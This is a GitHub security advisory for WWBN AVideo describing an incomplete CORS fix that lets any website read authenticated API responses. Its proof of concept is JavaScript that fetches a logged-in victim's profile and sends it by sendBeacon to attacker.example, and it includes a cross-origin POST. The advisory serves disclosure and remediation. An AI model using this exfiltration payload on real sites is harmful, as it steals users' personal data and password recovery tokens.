GHSA-FF5Q-CC22-FGP4
Vulnerability from github – Published: 2026-04-14 23:18 – Updated: 2026-04-14 23:18Summary
The CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/* endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.
Details
Bypass Vector 1: router.php independent CORS handler
plugin/API/router.php:4-8 runs before any application code:
// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
if (empty($HTTP_ORIGIN)) {
header('Access-Control-Allow-Origin: *');
} else {
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}
This reflects any Origin header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed allowOrigin() function never executes:
// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
header("Access-Control-Max-Age: 86400");
http_response_code(200);
exit;
}
All /api/* requests are routed through this file via .htaccess rules (lines 131-132).
Bypass Vector 2: allowOrigin($allowAll=true)
Both plugin/API/get.json.php:12 and plugin/API/set.json.php:12 call allowOrigin(true). In objects/functions.php:2773-2790, the $allowAll=true code path reflects any origin with credentials:
// objects/functions.php lines 2773-2777
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
}
This code path was untouched by commit 986e64aad, which only hardened the default ($allowAll=false) path.
Impact on data exposure
Because the victim's session cookies are sent with credentialed cross-origin requests, User::isLogged() returns true and User::getId() returns the victim's user ID. This means:
- Video listing endpoint (
get_api_video): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (functions.php:1752), so authenticated CORS requests receive the full data. - User profile endpoint (
get_api_user): When$isViewingOwnProfileis true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.
Additional issue: Referer header fallback
router.php line 4 falls back to HTTP_REFERER when HTTP_ORIGIN is absent, injecting an attacker-controlled full URL (not just origin) into the Access-Control-Allow-Origin header. This is non-standard and could cause unexpected behavior.
PoC
Step 1: Host the following HTML on an attacker-controlled domain:
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
Step 2: Victim visits attacker page while logged into AVideo.
Step 3: The browser sends the request with victim's session cookies. router.php line 8 reflects the attacker's origin. get.json.php calls allowOrigin(true) which re-sets Access-Control-Allow-Origin to the attacker's origin with Access-Control-Allow-Credentials: true.
Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.
For set endpoints (POST with custom headers requiring preflight):
fetch('https://target-avideo.example/api/SomeSetEndpoint', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({/* parameters */})
});
The preflight OPTIONS is handled by router.php lines 14-18, which reflect the origin and exit — the CORS fix in allowOrigin() never runs.
Impact
- Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
- Account information disclosure: The user profile endpoint returns the full user record including
recoverPass(password recovery token),isAdminstatus, and all PII fields when accessed as the authenticated user. - Action on behalf of user: Write endpoints (
set.json.php) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session. - Bypass of intentional fix: This directly circumvents the CORS hardening in commit
986e64aad.
Recommended Fix
1. Remove the independent CORS handler from router.php and let allowOrigin() handle all CORS logic consistently:
// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
require_once __DIR__.'/../../videos/configuration.php';
allowOrigin(false); // Use the validated CORS handler
header("Access-Control-Max-Age: 86400");
http_response_code(204);
exit;
}
2. Fix allowOrigin($allowAll=true) to validate origins — or stop using it for API endpoints:
// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false); // Use validated CORS for API endpoints
Keep allowOrigin(true) only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).
3. As defense-in-depth, set SameSite=Lax on session cookies to prevent browsers from sending them on cross-origin requests by default.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:18:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.\n\n## Details\n\n### Bypass Vector 1: router.php independent CORS handler\n\n`plugin/API/router.php:4-8` runs before any application code:\n\n```php\n// plugin/API/router.php lines 4-8\n$HTTP_ORIGIN = empty($_SERVER[\u0027HTTP_ORIGIN\u0027]) ? @$_SERVER[\u0027HTTP_REFERER\u0027] : $_SERVER[\u0027HTTP_ORIGIN\u0027];\nif (empty($HTTP_ORIGIN)) {\n header(\u0027Access-Control-Allow-Origin: *\u0027);\n} else {\n header(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\n}\n```\n\nThis reflects **any** `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately \u2014 the fixed `allowOrigin()` function never executes:\n\n```php\n// plugin/API/router.php lines 14-18\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027OPTIONS\u0027) {\n header(\"Access-Control-Max-Age: 86400\");\n http_response_code(200);\n exit;\n}\n```\n\nAll `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132).\n\n### Bypass Vector 2: allowOrigin($allowAll=true)\n\nBoth `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials:\n\n```php\n// objects/functions.php lines 2773-2777\nif ($allowAll) {\n $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n if (!empty($requestOrigin)) {\n header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n header(\u0027Access-Control-Allow-Credentials: true\u0027);\n }\n```\n\nThis code path was **untouched** by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path.\n\n### Impact on data exposure\n\nBecause the victim\u0027s session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim\u0027s user ID. This means:\n\n- **Video listing endpoint** (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data.\n- **User profile endpoint** (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.\n\n### Additional issue: Referer header fallback\n\n`router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior.\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled domain:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAVideo CORS PoC\u003c/h1\u003e\n\u003cscript\u003e\n// Exfiltrate victim\u0027s user profile (email, admin status, PII)\nfetch(\u0027https://target-avideo.example/api/user\u0027, {\n credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(data =\u003e {\n document.getElementById(\u0027result\u0027).textContent = JSON.stringify(data, null, 2);\n // Exfiltrate to attacker server\n navigator.sendBeacon(\u0027https://attacker.example/collect\u0027, JSON.stringify(data));\n});\n\u003c/script\u003e\n\u003cpre id=\"result\"\u003eLoading...\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Victim visits attacker page while logged into AVideo.\n\n**Step 3:** The browser sends the request with victim\u0027s session cookies. `router.php` line 8 reflects the attacker\u0027s origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker\u0027s origin with `Access-Control-Allow-Credentials: true`.\n\n**Step 4:** Browser permits cross-origin reading. Attacker receives the victim\u0027s full user profile including email, name, address, phone, admin status, and other PII.\n\n**For set endpoints (POST with custom headers requiring preflight):**\n\n```javascript\nfetch(\u0027https://target-avideo.example/api/SomeSetEndpoint\u0027, {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({/* parameters */})\n});\n```\n\nThe preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit \u2014 the CORS fix in `allowOrigin()` never runs.\n\n## Impact\n\n- **Data theft**: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.\n- **Account information disclosure**: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user.\n- **Action on behalf of user**: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim\u0027s session.\n- **Bypass of intentional fix**: This directly circumvents the CORS hardening in commit `986e64aad`.\n\n## Recommended Fix\n\n**1. Remove the independent CORS handler from `router.php`** and let `allowOrigin()` handle all CORS logic consistently:\n\n```php\n// plugin/API/router.php - REMOVE lines 4-18, replace with:\n// CORS is handled by allowOrigin() in get.json.php / set.json.php\n// For OPTIONS preflight, we still need to handle it, but through allowOrigin():\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027OPTIONS\u0027) {\n require_once __DIR__.\u0027/../../videos/configuration.php\u0027;\n allowOrigin(false); // Use the validated CORS handler\n header(\"Access-Control-Max-Age: 86400\");\n http_response_code(204);\n exit;\n}\n```\n\n**2. Fix `allowOrigin($allowAll=true)` to validate origins** \u2014 or stop using it for API endpoints:\n\n```php\n// In get.json.php and set.json.php, change:\nallowOrigin(true);\n// To:\nallowOrigin(false); // Use validated CORS for API endpoints\n```\n\nKeep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).\n\n**3. As defense-in-depth**, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.",
"id": "GHSA-ff5q-cc22-fgp4",
"modified": "2026-04-14T23:18:28Z",
"published": "2026-04-14T23:18:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.